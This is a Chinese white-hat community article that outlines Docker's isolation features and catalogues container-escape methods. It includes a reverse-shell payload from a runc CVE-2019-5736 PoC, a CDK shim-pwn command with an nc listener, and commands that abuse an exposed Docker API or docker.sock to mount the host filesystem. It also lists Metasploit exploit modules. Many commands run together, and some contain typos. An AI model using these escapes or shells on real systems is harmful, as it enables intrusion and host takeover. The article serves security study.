docker下安全問(wèn)題總結(jié)
作者:DDBG 編輯:白帽子社區(qū)運(yùn)營(yíng)團(tuán)隊(duì)
"白帽子社區(qū)端午特別活動(dòng)“白帽尋寶記”明天(06月12日09:00)就開始啦!!!靶場(chǎng)已經(jīng)開放活動(dòng)板塊可以進(jìn)行簽到,抽獎(jiǎng)?wù)堻c(diǎn)??這里??跳轉(zhuǎn),BMZCTF靶場(chǎng)地址:www.bmzclub.cn
"

Namespace
每次啟動(dòng)一個(gè)容器的時(shí)候,都會(huì)單獨(dú)的給予這個(gè)容器一個(gè)單獨(dú)的命令空間, 因此容器中運(yùn)行的程序/進(jìn)程是不會(huì)影響到另一個(gè)容器的;每個(gè)容器的網(wǎng)絡(luò) 也是相互獨(dú)立的,有需要的話可以通過(guò)物理機(jī)來(lái)實(shí)現(xiàn)連通
Namespace讓每個(gè)容器都變得獨(dú)立,互不干擾
Control Group
Control Group組件用來(lái)規(guī)劃容器對(duì)物理資源(cpu、內(nèi)存、磁盤等)的使 用,防止容器過(guò)多的占用資源,影響其他容器或者是物理機(jī)的正常運(yùn)轉(zhuǎn)
Control Group可以有效的防止DOS
Capabilities
Capabilities將 root/非root 分為更細(xì)的權(quán)限控制,所有需要root權(quán)限來(lái)執(zhí)行 的命令,都可以利用 Capabilities 來(lái)代替,例如一個(gè) Web 服務(wù)進(jìn)程只需要綁 定一個(gè)低于 1024 的端口的權(quán)限,并不需要 root 權(quán)限。那么它只需要被授權(quán) net_bind_service Capabilities 就行了。
利用 Capabilities 可以避免進(jìn)程獲取 root 權(quán)限,即使攻擊者能夠獲取到容器 的root權(quán)限,也不能獲得宿主機(jī)的較高權(quán)限。默認(rèn)情況下,Docker采用 白 名單 機(jī)制,禁用必需功能之外的其它權(quán)限。當(dāng)然,用戶也可以根據(jù)自身需 求來(lái)為 Docker 容器啟用額外的權(quán)限。
AppArmor
可以理解為是一個(gè)訪問(wèn)控制,AppArmor 將訪問(wèn)控制細(xì)化綁定到程序。定義 了應(yīng)用程序可以訪問(wèn)哪些系統(tǒng)資源以及具有哪些權(quán)限。例如:可以允許程序 進(jìn)行網(wǎng)絡(luò)訪問(wèn),原始套接字訪問(wèn)或者讀取寫入與路徑規(guī)則匹配的文件。如果 配置文件沒有聲明,則默認(rèn)情況下禁止進(jìn)程對(duì)資源的訪問(wèn)。
默認(rèn)情況下,Docker 會(huì)為容器自動(dòng)生成并加載默認(rèn)的 AppArmor 配置文 件。
Seccomp
一般情況下,系統(tǒng)進(jìn)程都會(huì)暴露給用戶。Seccomp可以過(guò)濾一些不必要的系 統(tǒng)調(diào)用,減少了內(nèi)核暴露給用戶態(tài)進(jìn)程的接口數(shù)量
默認(rèn)會(huì)啟用 Seccomp 保護(hù),默認(rèn)的白名單規(guī)則僅保留了 Linux 中比較常見 并且安全的系統(tǒng)調(diào)用。防止從內(nèi)核層面發(fā)起的進(jìn)攻
容器逃逸:攻擊者通過(guò)攻擊控制了一個(gè)容器,能在容器中以某個(gè)角色權(quán)限執(zhí)行命 令。然后再進(jìn)一步的獲取到容器所在的直接宿主機(jī)(在“物理機(jī)運(yùn)行虛擬機(jī),虛擬 機(jī)再運(yùn)行容器”的場(chǎng)景中,直接宿主機(jī)指容器外層的虛擬機(jī))

根目錄下是否存在 .dockerenv 文件
ls -al .dockerenv/proc/1/cgroup是否存在docker字符串
cat /proc/1/cgroup | grep docker運(yùn)行的系統(tǒng)進(jìn)程數(shù)
s aux缺少系統(tǒng)命令
ping、sudo、ifconfig、ssh、vi、gccfind命令查看文件系統(tǒng)存在的差別
find / -name docker環(huán)境變量的不同
env文件系統(tǒng)的不同
df -h
查看Docker版本
docker --version當(dāng)前環(huán)境哪些用戶?
cat /etc/passwd容器操作系統(tǒng)?
cat /etc/os-release宿主機(jī)內(nèi)核版本?
uname -a容器內(nèi)進(jìn)程具有哪些權(quán)限(Docker上執(zhí)行,獲得權(quán)限值)
grep CapEff /proc/self/status容器掛載了哪些卷?
cat /proc/mounts哪些用戶可以使用docker?
grep docker /etc/group 當(dāng)前宿主機(jī)可用鏡像?
docker images -a當(dāng)前運(yùn)行哪些容器?
docker ps -a

宿主機(jī)內(nèi)核漏洞
Docker自身漏洞
漏洞描述:Docker 18.09.2之前的版本中使用了的 runC 版本小于1.0- rc6,因此允許攻擊者重寫宿主機(jī)上的runc 二進(jìn)制文件,攻擊者可以 在宿主機(jī)上以root身份執(zhí)行命令。(通過(guò) docker 和docker-runc 查看 當(dāng)前版本情況)
影響版本:
docker version <=18.09.2、RunC version <=1.0-rc6利用條件:攻擊者可控 image,進(jìn)一步控制生成的container、攻擊者 具有某已存在容器的寫權(quán)限,且可通過(guò)docker exec進(jìn)入
漏洞利用:
https://github.com/Frichetten/CVE-2019-5736-PoC var payload = "#!/bin/bash \n bash -i >& /dev/tcp/127.0.0.1/8888 0>& 1" CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.goroot@root:/tmp# ./main[+] Overwritten /bin/sh successfully
test@test:~$ sudo docker exec -it d1 /bin/bashroot@root:/tmp[] Overwritten /bin/sh successfully[] Found the PID: 16[] Successfully got the file handle[] Successfully got write handle &{0xc8201231e0}
通過(guò)宿主機(jī)docker cp容器文件導(dǎo)致任意命令執(zhí)行的漏洞
影響版本:
docker 19.03.0(包含幾個(gè)beta版),19.03.1以上以及18.09以下都不受影響漏洞利用
https://xz.aliyun.com/t/6806修復(fù)建議:升級(jí)到最新版本或者是打補(bǔ)丁。
漏洞描述:containerd是行業(yè)標(biāo)準(zhǔn)的容器運(yùn)行時(shí),可作為L(zhǎng)inux和 Windows的守護(hù)程序使用。在版本1.3.9和1.4.3之前的容器中,容器填 充的API不正確地暴露給主機(jī)網(wǎng)絡(luò)容器。填充程序的API套接字的訪問(wèn) 控制驗(yàn)證了連接過(guò)程的有效UID為0,但沒有以其他方式限制對(duì)抽象 Unix域套接字的訪問(wèn)。這將允許在與填充程序相同的網(wǎng)絡(luò)名稱空間中運(yùn)行的惡意容器(有效UID為0,但特權(quán)降低)導(dǎo)致新進(jìn)程以提升的特 權(quán)運(yùn)行。
影響版本:
containerd < 1.4.3、containerd < 1.3.9漏洞利用:
https://github.com/Xyntax/CDK/releases/tag/0.1.6./cdk_linux_386 run shim-pwn 127.0.0.1 8888nc -lvp 8888 漏洞描述:該漏洞源于libcontainer/rootfs_linux.go文件沒有正確檢 查掛載目標(biāo)。攻擊者可利用該漏洞繞過(guò)AppArmor限制。
影響版本:
runc1.0.0-rc8及之前版本漏洞利用:
https://mp.weixin.qq.com/s/snd1mrEeFheEPB_wrPv8XA
Docker的錯(cuò)誤配置&設(shè)計(jì)缺陷
Docker 未授權(quán)訪問(wèn)
http://217.0.0.1:2375/version(ps、/images/json、/containers/json)
docker -H tcp://xx.xx.xx.xx:2375 imagesdocker -H tcp://xx.xx.xx.xx:2375 run -it -v /:/mnt docker_ID/bin/shDocker.sock
find / -name docker.sockdocker -H unix:///var/run/docker.sock infodocker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu/bin/bashprivileged(特權(quán)模式)
cat /proc/self/status | grep CapEff0000003fffffffffmkdir /testmount /dev/sda1 /abcls /abcecho 123 > /test/home/botasky/escape2Shocker 攻擊
https://github.com/gabrtv/shockerdocker run gabrtv/shocker

查看Docker服務(wù)器版本(VERBOSE參數(shù)為true獲得更多信息)
auxiliary/scanner/http/docker_version檢測(cè)目標(biāo)環(huán)境是否為容器。
post/linux/gather/checkcontainer檢測(cè)目標(biāo)環(huán)境中各種漏洞緩解機(jī)制是否開啟
post/linux/gather/enum_protections對(duì)Docker的守護(hù)進(jìn)程實(shí)現(xiàn)root權(quán)限遠(yuǎn)程代碼執(zhí)行
exploit/linux/http/docker_daemon_tcpDocker容器內(nèi)的提權(quán)
exploit/linux/local/docker_daemon_privilege_escalation讀取.docker/config.json文件
post/multi/gather/docker_creds其他模塊,因?yàn)檫m用范圍或者限制問(wèn)題,建議參考模塊的文檔
auxiliary/gather/saltstack_salt_root_keyexploit/linux/misc/saltstack_salt_unauth_rceexploit/windows/local/docker_credential_wincredexploit/linux/http/rancher_serverexploit/linux/http/dcos_marathon
參考文章
https://forum.90sec.com/t/topic/1338https://chen1sheng.github.io/2021/01/10/%E6%B8%97%E9%80%8F/linux/docker%E9%80%83%E9%80%B8/https://wohin.me/yun-yuan-sheng-huan-jing-shen-tou-xiang-guan-gong-ju-kao-cha/#1-https://tech.meituan.com/2020/03/12/cloud-native-security.htmlhttps://mp.weixin.qq.com/s/d9D3z13uCOJoJzplpu3WJQ
